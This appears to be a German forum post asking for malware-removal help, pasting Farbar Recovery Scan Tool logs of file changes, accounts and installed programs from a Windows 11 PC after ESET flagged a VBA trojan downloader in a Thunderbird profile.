2026-10-02 16:06 - 2026-08-18 07:11 - 000150536 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\SysWOW64\atisamu32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000147472 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\amfrt64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000131256 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\SysWOW64\atimpc32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000122384 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\amfrt32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000051720 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\RapidFireServer64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000048656 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\RapidFireServer.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 121671184 _____ C:\WINDOWS\system32\amd_comgr_2.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 103826960 _____ C:\WINDOWS\SysWOW64\amd_comgr32.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000787984 _____ C:\WINDOWS\system32\hiprt0200064.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000678920 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\Rapidfire.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000606472 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\amdsacli64.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000549384 _____ C:\WINDOWS\system32\dgtrayicon.exe
2026-10-02 16:06 - 2026-08-18 07:10 - 000541248 _____ C:\WINDOWS\system32\amdmiracast.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000471560 _____ C:\WINDOWS\system32\amdlogum.exe
2026-10-02 16:06 - 2026-08-18 07:10 - 000347152 _____ C:\WINDOWS\system32\clinfo.exe
2026-10-02 16:06 - 2026-08-18 07:10 - 000247312 _____ (Khronos Group) C:\WINDOWS\system32\OpenCL.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000212488 _____ (Khronos Group) C:\WINDOWS\SysWOW64\OpenCL.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000177168 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\amdmmcl6.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000169344 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\amdave64.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000158960 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\amdpcom64.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000145936 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\amdmmcl.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000144704 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\SysWOW64\amdave32.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000142736 _____ C:\WINDOWS\system32\amdxc64.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000131256 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\SysWOW64\amdpcom32.dll
2026-10-02 16:06 - 2026-08-18 07:10 - 000118744 _____ C:\WINDOWS\SysWOW64\amdxc32.dll
2026-10-02 16:06 - 2026-08-18 06:44 - 125655976 _____ C:\WINDOWS\system32\amdxc64.so
2026-10-02 16:03 - 2026-10-02 16:03 - 000000000 ____D C:\Users\UMFD-0.Font Driver Host.000
2026-10-02 16:03 - 2026-10-02 16:03 - 000000000 ____D C:\Users\TEMP.Font Driver Host.000
2026-10-01 15:27 - 2026-10-01 15:27 - 000205566 _____ C:\Users\ralf\Downloads\Vorsorgevollmacht.pdf
2026-09-28 22:16 - 2026-09-28 22:16 - 000087285 _____ C:\Users\ralf\Downloads\320264039786.pdf
2026-09-28 21:35 - 2026-09-28 21:35 - 004336586 _____ C:\Users\ralf\Downloads\virgo_neu.pdf
2026-09-28 19:59 - 2026-09-28 19:59 - 000000150 _____ C:\Users\ralf\Downloads\stream(45).m3u
2026-09-26 17:42 - 2026-09-26 17:42 - 000573545 _____ C:\Users\ralf\Downloads\Shelly-Flood-Gen4.pdf
2026-09-25 23:43 - 2026-09-25 23:43 - 001560710 _____ C:\Users\Cheffe\AppData\Local\census.cache
2026-09-25 23:42 - 2026-09-25 23:42 - 000503506 _____ C:\Users\Cheffe\AppData\Local\ars.cache
2026-09-25 23:32 - 2026-09-25 23:32 - 003333936 _____ (Trend Micro Inc.) C:\Users\ralf\Downloads\HousecallLauncher64.exe
2026-09-25 23:32 - 2026-09-25 23:32 - 000000036 _____ C:\Users\Cheffe\AppData\Local\housecall.guid.cache
2026-09-25 23:31 - 2026-10-18 17:50 - 000003856 _____ C:\WINDOWS\system32\Tasks\EOSv3 Scheduler onLogOn
2026-09-25 23:31 - 2026-10-18 17:50 - 000003414 _____ C:\WINDOWS\system32\Tasks\EOSv3 Scheduler onTime
2026-09-25 23:20 - 2026-10-18 15:32 - 000001316 _____ C:\Users\ralf\Desktop\ESET Online Scanner.lnk
2026-09-25 23:19 - 2026-09-25 23:19 - 008423856 _____ (ESET) C:\Users\ralf\Downloads\esetonlinescanner(1).exe
2026-09-25 11:34 - 2026-09-25 11:34 - 000000000 ____D C:\Users\ralf\AppData\Local\WindowsOobeAppHost
2026-09-24 22:28 - 2026-09-24 22:28 - 000562052 _____ C:\Users\ralf\Downloads\Channel_overview_final_version_DE_10.09.26_(final).pdf
2026-09-24 16:06 - 2026-09-24 16:06 - 021528001 _____ C:\Users\ralf\Downloads\FreeCommanderXE-64_setup953.zip
2026-09-24 15:41 - 2026-09-24 15:41 - 000000000 ____D C:\Program Files\Microsoft GameInput
==================== Ein Monat (geänderte) ==================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2026-10-18 17:50 - 2026-01-22 15:45 - 000001601 _____ C:\Users\Cheffe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ESET Online Scanner.lnk
2026-10-18 17:50 - 2026-01-22 15:45 - 000001473 _____ C:\Users\Cheffe\Desktop\ESET Online Scanner.lnk
2026-10-18 17:50 - 2024-04-01 09:26 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2026-10-18 17:48 - 2024-12-25 17:12 - 000000000 ____D C:\Users\Cheffe\AppData\Local\AMD_Common
2026-10-18 17:46 - 2024-12-06 19:17 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38
2026-10-18 17:46 - 2024-12-06 19:13 - 000000000 ____D C:\Users\Cheffe\AppData\Local\D3DSCache
2026-10-18 17:44 - 2025-02-11 00:36 - 000000000 ____D C:\Users\Cheffe\AppData\Roaming\Dropbox
2026-10-18 17:44 - 2025-02-03 01:28 - 000000000 ____D C:\Users\Cheffe\AppData\Roaming\Hide.me
2026-10-18 17:44 - 2025-01-28 22:21 - 000000000 ____D C:\Users\Cheffe\AppData\Local\CrashDumps
2026-10-18 17:44 - 2024-04-01 09:26 - 000000000 ___HD C:\Program Files\WindowsApps
2026-10-18 17:44 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SystemTemp
2026-10-18 17:44 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\AppReadiness
2026-10-18 17:43 - 2025-03-19 18:35 - 000003578 _____ C:\WINDOWS\system32\Tasks\OneDrive Startup Task-S-1-5-21-3650103575-3285462358-2630303384-1002
2026-10-18 17:43 - 2025-02-11 00:37 - 000000000 ____D C:\Users\Cheffe\AppData\Local\Dropbox
2026-10-18 17:43 - 2024-12-06 19:14 - 000003592 _____ C:\WINDOWS\system32\Tasks\OneDrive Reporting Task-S-1-5-21-3650103575-3285462358-2630303384-1002
2026-10-18 17:43 - 2024-12-06 19:14 - 000003370 _____ C:\WINDOWS\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-3650103575-3285462358-2630303384-1002
2026-10-18 17:43 - 2024-12-06 19:14 - 000002402 _____ C:\Users\Cheffe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2026-10-18 17:43 - 2024-12-06 19:14 - 000000000 ____D C:\Users\Cheffe\AppData\Local\PlaceholderTileLogoFolder
2026-10-18 17:43 - 2024-12-06 19:13 - 000000000 ____D C:\Users\Cheffe\AppData\Local\Packages
2026-10-18 17:42 - 2026-03-28 15:16 - 000000000 ____D C:\WINDOWS\system32\Tasks\SoftLanding
2026-10-18 17:42 - 2025-04-13 23:18 - 000000000 ____D C:\Users\ralf\AppData\Roaming\Synology Image Assistant
2026-10-18 17:42 - 2025-03-19 18:34 - 000002234 _____ C:\Users\Cheffe\Desktop\Google Chrome.lnk
2026-10-18 17:42 - 2024-12-14 12:48 - 000000000 ____D C:\Users\ralf\AppData\Local\SynologyDrive
2026-10-18 17:42 - 2024-12-06 19:13 - 000000000 ____D C:\Users\Cheffe\.tobii
2026-10-18 17:42 - 2024-12-06 18:50 - 000000000 ____D C:\Users\ralf\.tobii
2026-10-18 17:42 - 2024-12-06 18:39 - 001731390 _____ C:\WINDOWS\system32\PerfStringBackup.INI
2026-10-18 17:42 - 2024-04-01 09:24 - 000000000 ____D C:\WINDOWS\INF
2026-10-18 17:36 - 2020-08-27 22:35 - 000000000 ____D C:\Tools
2026-10-18 17:33 - 2025-05-22 18:21 - 000000000 ____D C:\Users\ralf\Documents\WISO Mein Geld
2026-10-18 16:12 - 2025-09-24 23:32 - 000000000 ____D C:\Users\ralf\AppData\Local\Tumor
2026-10-18 16:07 - 2025-09-24 23:32 - 000000000 ____D C:\Users\ralf\AppData\Local\Forename
2026-10-18 15:58 - 2025-09-24 23:32 - 000000000 ____D C:\ProgramData\ClpHtt
2026-10-18 15:58 - 2025-09-24 23:32 - 000000000 ____D C:\ProgramData\atkex
2026-10-18 15:35 - 2024-12-06 18:50 - 000000000 ____D C:\Users\ralf\AppData\Local\D3DSCache
2026-10-18 15:33 - 2024-12-14 13:42 - 000000000 ____D C:\Users\ralf\AppData\Roaming\Dropbox
2026-10-18 15:33 - 2024-12-14 13:42 - 000000000 ____D C:\Users\ralf\AppData\Local\Dropbox
2026-10-18 15:32 - 2026-06-30 18:23 - 000000000 ____D C:\Program Files\TeamViewer
2026-10-18 15:32 - 2026-01-22 15:45 - 000001422 _____ C:\Users\ralf\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ESET Online Scanner.lnk
2026-10-18 15:32 - 2025-02-01 12:53 - 000000000 ____D C:\Users\ralf\AppData\Local\CrashDumps
2026-10-18 15:32 - 2024-12-06 18:52 - 000000000 ___RD C:\Users\ralf\OneDrive
2026-10-18 15:32 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\ServiceState
2026-10-18 15:31 - 2024-12-06 17:24 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
2026-10-18 15:31 - 2024-04-01 09:21 - 000786432 _____ C:\WINDOWS\system32\config\BBI
2026-10-18 15:31 - 2020-08-28 15:48 - 000012288 ___SH C:\DumpStack.log.tmp
2026-10-18 15:27 - 2024-12-07 12:40 - 000000000 ____D C:\Users\ralf\AppData\Local\PrivaZer
2026-10-18 15:24 - 2026-03-04 16:04 - 000000000 ____D C:\Users\ralf\Downloads\VDH
2026-10-18 15:24 - 2024-12-07 13:00 - 000000000 ____D C:\Users\ralf\AppData\Roaming\vlc
2026-10-18 14:34 - 2025-02-03 01:33 - 000000000 ____D C:\Users\ralf\AppData\Roaming\Hide.me
2026-10-18 13:21 - 2024-12-06 17:24 - 000002436 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2026-10-18 13:16 - 2024-12-06 17:24 - 000003830 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA{6C7E02B3-6CEE-463F-A81F-53EF82744B74}
2026-10-18 13:16 - 2024-12-06 17:24 - 000003758 _____ C:\WINDOWS\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore{345A4DF4-2CE4-41A9-A1D3-135114EC5252}
2026-10-17 18:06 - 2024-12-06 19:17 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2026-10-16 18:42 - 2026-08-31 18:00 - 000002677 _____ C:\WINDOWS\system32\InstallMonitorLog.csv
2026-10-16 18:42 - 2024-12-06 19:51 - 000001055 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Thunderbird.lnk
2026-10-16 18:11 - 2025-06-02 17:35 - 000002316 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Brave.lnk
2026-10-16 18:11 - 2025-06-02 17:35 - 000002275 _____ C:\Users\Public\Desktop\Brave.lnk
2026-10-16 18:03 - 2025-02-25 19:33 - 000002199 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2026-10-15 21:34 - 2025-02-05 22:02 - 000003574 _____ C:\WINDOWS\system32\Tasks\OneDrive Startup Task-S-1-5-21-3650103575-3285462358-2630303384-1001
2026-10-15 21:34 - 2024-12-06 18:52 - 000003592 _____ C:\WINDOWS\system32\Tasks\OneDrive Reporting Task-S-1-5-21-3650103575-3285462358-2630303384-1001
2026-10-15 21:34 - 2024-12-06 18:52 - 000003366 _____ C:\WINDOWS\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-3650103575-3285462358-2630303384-1001
2026-10-15 21:34 - 2024-12-06 18:52 - 000002396 _____ C:\Users\ralf\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2026-10-15 18:55 - 2024-04-01 09:26 - 000000000 ____D C:\ProgramData\USOPrivate
2026-10-15 18:44 - 2024-12-25 17:20 - 000000000 ____D C:\Users\ralf\AppData\Local\AMD_Common
2026-10-14 23:52 - 2026-07-10 11:04 - 000445448 _____ C:\WINDOWS\system32\FNTCACHE.DAT
2026-10-14 23:51 - 2026-01-29 17:09 - 000000000 ____D C:\WINDOWS\system32\NarratorMCAT
2026-10-14 23:51 - 2025-07-10 23:49 - 000000000 ____D C:\WINDOWS\system32\ruxim
2026-10-14 23:51 - 2024-04-01 18:36 - 000000000 ____D C:\WINDOWS\system32\OpenSSH
2026-10-14 23:51 - 2024-04-01 18:36 - 000000000 ____D C:\WINDOWS\system32\Microsoft-Edge-WebView
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ___RD C:\WINDOWS\ImmersiveControlPanel
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\UUS
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\WinMetadata
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\setup
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\oobe
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\migwiz
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\InstallShield
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\Dism
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SysWOW64\AdvancedInstallers
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\SystemResources
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\WinMetadata
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\WinBioPlugIns
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\Sysprep
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\ShellExperiences
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\setup
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\SecureBootUpdates
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\oobe
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\migwiz
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\HealthAttestationClient
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\Dism
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\DDFs
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\appraiser
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\system32\AdvancedInstallers
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\ShellExperiences
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\ShellComponents
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\Provisioning
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\PolicyDefinitions
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\BrowserCore
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\bcastdvr
2026-10-14 23:51 - 2024-04-01 09:26 - 000000000 ____D C:\Program Files\Common Files\System
2026-10-14 23:51 - 2024-04-01 09:21 - 000000000 ____D C:\WINDOWS\servicing
2026-10-14 23:45 - 2026-08-19 11:23 - 000002089 _____ C:\Users\ralf\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2026-10-14 23:45 - 2024-12-06 19:17 - 000001065 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2026-10-14 17:48 - 2024-12-06 18:57 - 000000000 ____D C:\WINDOWS\system32\MRT
2026-10-14 17:46 - 2026-08-15 23:31 - 000522736 _____ (Microsoft Corporation) C:\WINDOWS\system32\gamingservicesproxy_13.dll.0
2026-10-14 17:46 - 2026-08-15 23:31 - 000522736 _____ (Microsoft Corporation) C:\WINDOWS\system32\gamingservicesproxy_13.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 004602352 _____ (Microsoft Corporation) C:\WINDOWS\system32\xgameruntime.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 001194480 _____ (Microsoft Corporation) C:\WINDOWS\system32\gameplatformservices.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 000317936 _____ (Microsoft Corporation) C:\WINDOWS\system32\gamelaunchhelper.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 000272880 _____ (Microsoft Corporation) C:\WINDOWS\system32\gameconfighelper.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 000166384 _____ (Microsoft Corporation) C:\WINDOWS\system32\gamingtcuihelpers.dll
2026-10-14 17:46 - 2024-12-25 15:32 - 000158192 _____ (Microsoft Corporation) C:\WINDOWS\system32\xgamehelper.exe
2026-10-14 17:46 - 2024-12-25 15:32 - 000084464 _____ (Microsoft Corporation) C:\WINDOWS\system32\xgamecontrol.exe
2026-10-14 17:46 - 2024-12-06 18:57 - 230303336 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
2026-10-14 17:26 - 2025-12-09 16:07 - 000402048 _____ (Mozilla Foundation) C:\Users\ralf\Desktop\Firefox.exe
2026-10-14 17:26 - 2024-12-06 18:28 - 003387392 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PrintConfig.dll
2026-10-14 16:46 - 2025-02-03 01:27 - 000000000 ____D C:\Program Files\dotnet
2026-10-14 16:46 - 2024-12-06 18:33 - 000000000 ____D C:\ProgramData\Package Cache
2026-10-14 16:46 - 2024-12-06 17:24 - 000000000 ____D C:\WINDOWS\system32\Drivers\wd
2026-10-14 16:31 - 2025-02-11 00:36 - 000000000 ____D C:\ProgramData\Dropbox
2026-10-14 16:31 - 2025-02-11 00:36 - 000000000 ____D C:\Program Files (x86)\Dropbox
2026-10-13 22:16 - 2025-01-21 23:59 - 000000000 ____D C:\Program Files\Corsair
2026-10-13 14:49 - 2024-12-06 18:50 - 000000000 ____D C:\Users\ralf\AppData\Local\ConnectedDevicesPlatform
2026-10-13 00:39 - 2024-12-06 18:46 - 000000000 ____D C:\Users\ralf
2026-10-12 22:19 - 2024-12-06 19:13 - 000000000 ____D C:\Users\Cheffe
2026-10-12 19:42 - 2024-12-26 15:33 - 000000000 ____D C:\WINDOWS\Minidump
2026-10-12 19:42 - 2024-12-06 17:23 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
2026-10-12 19:42 - 2021-05-16 21:43 - 002762507 ____N C:\WINDOWS\Minidump\101226-5578-01.dmp
2026-10-12 18:35 - 2025-04-11 22:48 - 000000000 ____D C:\Users\ralf\AppData\Roaming\InstallShield Installation Information
2026-10-12 18:27 - 2025-04-11 22:49 - 000000000 ____D C:\Users\ralf\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Just Flight (MSFS)
2026-10-09 00:20 - 2024-12-10 16:22 - 000000000 ____D C:\Users\ralf\dwhelper
2026-10-05 21:46 - 2024-04-01 09:26 - 000000000 ____D C:\WINDOWS\LiveKernelReports
2026-10-05 17:53 - 2025-04-18 23:40 - 000004054 _____ C:\WINDOWS\system32\Tasks\AMD Install Manager - Check For Updates
2026-10-05 17:53 - 2023-07-05 16:10 - 000000000 ____D C:\AMD
2026-10-02 16:07 - 2024-12-25 17:12 - 000000000 ____D C:\Program Files\AMD
2026-10-02 16:03 - 2024-12-06 19:52 - 000000000 ____D C:\Users\WsiAccount
2026-10-01 13:57 - 2025-09-25 00:06 - 000002675 _____ C:\Users\ralf\Desktop\Brave.lnk
2026-10-01 13:57 - 2025-09-25 00:06 - 000002674 _____ C:\Users\ralf\Desktop\Microsoft Edge.lnk
2026-09-30 17:43 - 2025-09-25 00:06 - 000002234 _____ C:\Users\ralf\Desktop\Google Chrome.lnk
2026-09-25 11:34 - 2024-12-06 18:50 - 000000000 ____D C:\Users\ralf\AppData\Local\Packages
2026-09-25 11:34 - 2024-12-06 18:49 - 000000000 ____D C:\Users\ralf\AppData\Local\PlaceholderTileLogoFolder
2026-09-25 11:34 - 2024-12-06 18:30 - 000000000 ____D C:\ProgramData\Packages
2026-09-25 00:22 - 2024-12-06 23:19 - 000000000 ____D C:\Program Files\LibreOffice
2026-09-24 16:07 - 2024-12-06 22:56 - 000000894 _____ C:\Users\Cheffe\Desktop\FreeCommander XE.lnk
2026-09-24 16:07 - 2024-12-06 22:56 - 000000000 ____D C:\Users\Cheffe\AppData\Local\FreeCommanderXE
2026-09-24 16:07 - 2024-12-06 22:56 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FreeCommander XE x64
2026-09-24 16:07 - 2024-12-06 22:56 - 000000000 ____D C:\Program Files\FreeCommander XE
==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ========
2025-09-25 00:06 - 2025-10-07 07:51 - 000000278 _____ () C:\ProgramData\launch_chrome.bat
2026-09-25 23:42 - 2026-09-25 23:42 - 000503506 _____ () C:\Users\Cheffe\AppData\Local\ars.cache
2026-09-25 23:43 - 2026-09-25 23:43 - 001560710 _____ () C:\Users\Cheffe\AppData\Local\census.cache
2026-09-25 23:32 - 2026-09-25 23:32 - 000000036 _____ () C:\Users\Cheffe\AppData\Local\housecall.guid.cache
==================== SigCheck ============================
(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
==================== Ende von FRST.txt ========================
Geändert von beer25 (Heute um 18:54 Uhr) |
|
Heute, 19:17
| #2 |
| | Eset online scanner findet "VBA/TrojanDownloader.Agent.LHO trojan" in Thunderbird Profil hier das zweite LOG-File:
__________________Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 18-10-2026 01
durchgeführt von Cheffe (18-10-2026 17:54:51)
Gestartet von C:\Users\Cheffe\Downloads
Microsoft Windows 11 Pro Version 26H2 26300.9711 (X64) (2024-12-06 16:30:05)
Start-Modus: Normal
==========================================================
==================== Konten: =============================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
Administrator (S-1-5-21-3650103575-3285462358-2630303384-500 - Administrators - Disabled)
Cheffe (S-1-5-21-3650103575-3285462358-2630303384-1002 - Administrators - Enabled) => C:\Users\Cheffe
DefaultAccount (S-1-5-21-3650103575-3285462358-2630303384-503 - Limited - Disabled)
Gast (S-1-5-21-3650103575-3285462358-2630303384-501 - Limited - Disabled)
ralf (DisplayName: R*** *******f) (S-1-5-21-3650103575-3285462358-2630303384-1001 - Limited - Enabled) [MS Account] => C:\Users\ralf
WDAGUtilityAccount (S-1-5-21-3650103575-3285462358-2630303384-504 - Limited - Disabled)
WsiAccount (S-1-5-21-3650103575-3285462358-2630303384-1003 - Limited - Disabled) => C:\Users\WsiAccount
==================== Sicherheits-Center ========================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
==================== Installierte Programme ======================
(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
AMD Chipset Software (HKLM-x32\...\AMD_Chipset_IODrivers) (Version: 8.08.12.551 - Advanced Micro Devices, Inc.)
AMD GPIO2 Driver (HKLM-x32\...\{E9DD399F-21A3-479E-A7DF-D6CF4B2ADBF3}) (Version: 2.2.0.136 - Advanced Micro Devices, Inc.) Hidden
AMD Install Manager (HKLM\...\{547DB986-CAD5-49AA-A684-E1600CADA4D7}) (Version: 26.10.26272.1728 - Advanced Micro Devices, Inc.)
AMD PCI Driver (HKLM-x32\...\{80EC3CEE-2940-42A1-A776-B5D810D39F1E}) (Version: 1.0.0.90 - Advanced Micro Devices, Inc.) Hidden
AMD Ryzen Balanced Driver (HKLM-x32\...\{A171D320-C42C-4F3B-A2D8-C6A09F6788CC}) (Version: 8.0.1.13 - Advanced Micro Devices, Inc.) Hidden
AMD SBxxx SMBus Driver (HKLM-x32\...\{AAE0E27D-C88A-49BA-8715-77ADCD4286A3}) (Version: 5.12.0.44 - Advanced Micro Devices, Inc.) Hidden
AMD Software (HKLM\...\AMD Catalyst Install Manager) (Version: 26.8.1 - Advanced Micro Devices, Inc.)
AMD_Chipset_Drivers (HKLM-x32\...\{5af2fedb-5a3e-4b58-882b-67587757e90b}) (Version: 8.08.12.551 - Advanced Micro Devices, Inc.) Hidden
ANT Drivers Installer x64 (HKLM\...\{69444F98-CC1E-4795-8F8A-60BE6AF51F0F}) (Version: 2.3.4 - Garmin Ltd or its subsidiaries) Hidden
AusweisApp (HKLM\...\{2155D374-DE04-464A-B742-57F9F3AD4517}) (Version: 2.5.1 - Governikus GmbH & Co. KG)
Bracteate (HKLM-x32\...\{EDA0307E-C6C0-4C08-B533-C06D37A76CF5}) (Version: 2.4.8.0 - Wedlock Overripe)
Branding64 (HKLM\...\{492AEFBE-1B81-4C20-A111-E6974BB98EC5}) (Version: 1.00.0009 - Advanced Micro Devices, Inc.) Hidden
Brave (HKLM-x32\...\BraveSoftware Brave-Browser) (Version: 155.1.97.59 - Die Brave-Autoren)
CEWE Fotowelt (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\CEWE Fotowelt) (Version: 8.1.1 - CEWE Stiftung u Co. KGaA)
Claude (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\AnthropicClaude) (Version: 1.34493.1 - Anthropic PBC)
Copilot (HKLM-x32\...\Microsoft Copilot) (Version: 155.0.4283.62 - Microsoft Corporation)
Corsair iCUE 5 VHID Drivers v3.0.88.9 (HKLM-x32\...\{fa0c115c-2532-4c79-8a2e-41a23e471b89}) (Version: 3.0.88.9 - Corsair Memory)
Corsair iCUE VHID Drivers v3.0.88.9 (HKLM\...\{DD8E898D-E536-4AE6-AFA8-1850C5C73B5E}) (Version: 3.0.88.9 - Corsair Memory) Hidden
Corsair iCUE5 Software (HKLM\...\{A9B0B2D7-8C59-4413-A2FB-99EDBE65A608}) (Version: 5.52.93 - Corsair)
DCD F14 Tomcat for MSFS 2024 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{BE2CCE0D-1EFB-4818-BBE4-EBD18D0744D0}) (Version: 1.1.5 - Just Flight (MSFS))
DCD F-15 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{B37BF720-015C-46E7-9B9D-6C2C7E6FE9CC}) (Version: 2.0.0 - Just Flight (MSFS))
DCD F-15 for MSFS 2024 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{81BCA7F8-B262-4E56-A02E-71997E1BFBA6}) (Version: 1.8.1 - Just Flight (MSFS))
DCD F-15 for MSFS 2024 (HKU\S-1-5-21-3650103575-3285462358-2630303384-1001\...\{91E1E0C8-9686-453D-B6D2-41C364D1D404}) (Version: 1.9.0 - Just Flight (MSFS))
DCS World (HKLM\...\DCS World_is1) (Version: 2 - Eagle Dynamics)
DownloadHelper CoApp (HKLM-x32\...\DownloadHelper CoApp) (Version: 2.0.19.0 - ACLAP)
Dropbox (HKLM-x32\...\Dropbox) (Version: 275.4.3565 - Dropbox, Inc.)
Dropbox Update Helper (HKLM-x32\...\{099218A5-A723-43DC-8DB5-6173656A1E94}) (Version: 1.3.983.1 - Dropbox, Inc.) Hidden
Druckerdeinstallation für EPSON XP-7100 Series (HKLM\...\EPSON XP-7100 Series) (Version: - Seiko Epson Corporation)
